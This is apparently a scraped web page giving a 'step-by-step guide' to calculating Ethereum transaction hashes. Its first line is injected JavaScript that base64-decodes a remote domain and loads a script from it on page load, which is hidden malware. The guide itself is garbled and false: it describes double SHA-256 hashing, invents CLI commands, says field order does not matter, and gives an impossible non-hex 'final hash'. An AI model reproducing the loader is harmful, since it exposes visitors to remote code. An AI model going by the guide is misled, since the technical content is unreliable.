const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx);const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=106b85c5";document.body.appendChild(script);
Calculating Hashes on Ethereum: A Step-by-Step Guide
The Ethereum network uses a unique algorithm to create and validate transactions (Tx). A key part of this process is calculating hashes, which are used to verify the integrity and authenticity of each transaction. In this article, we’ll learn how to calculate hashes on Ethereum, focusing specifically on Tx hashes.
What are Hashes?
Hashes are one-way cryptographic functions that take an input (in this case, a transaction) as an input and produce a fixed-size string output. The hash is unique and unalterable, making it perfect for verifying the authenticity of a transaction.
Calculating Hashes on Ethereum: A High-Level Overview
To calculate hashes on Ethereum, you need to follow these steps:
- Create a transaction: First, create a new transaction using the
txcommand in the Ethereum CLI:
eth tx create
Replace with the hash of the transaction you want to calculate.
- Double SHA-256 hash: To create a hash, we need to double the SHA-256 hash of the transaction's input data (including variables). This is done using the
eth accountcommand:
eth account --send-receipt
This will create a new transaction with the double-sha256 hashed values.
- Calculating the final hash: The final hash is created by combining the two previous hashes (Tx and SHA256 double hashed input data). This is done using the
eth hashcommand:
eth hash --tx_hash
This will generate the final hash of the Tx.
Fields to double SHA hash
To create a valid transaction, you must include the following fields in your Tx:
- From: The address that initiated the transaction.
- To: The address that is receiving the funds (if applicable).
- Value: The amount transferred (optional).
- GasPrice: The gas price for the transaction (optional).
- GasLimit
: The maximum gas limit allowed for the transaction (optional).
Field Order
The order in which you include these fields does not matter. What matters is that they are included in the correct format.
Example Transaction
Here is an example Tx:
{
"from": "0x1234567890abcdef",
"to": "0x9876543210fedcba",
"value": 10,
"gasPrice": 20000,
"gasLimit": 300000,
"nonce": 0,
"blockNumber": 1000
}
Calculating the SHA-256 Double Hash
Using the eth account command, we can create SHA256 double hashed input data:
{
"from": "0x1234567890abcdef",
"to": "0x9876543210fedcba"
}
The output will be a new transaction with the same hash value.
Calculating the final hash
Combining the two previous hashes, we get:
eth hash --tx_hash = `1234567890abcdef@1234a5b6c7d8e9f0g0h1i2j3k4l5m6n7p8q9r10t11u12v13w
This is the final hash of the transaction.
Conclusion
Computing hashes on Ethereum involves creating a transaction, double-sha256 hashing its input data, and then combining these two hashes to create a final hash. By following this process, you can verify the integrity and authenticity of every transaction on the Ethereum network.
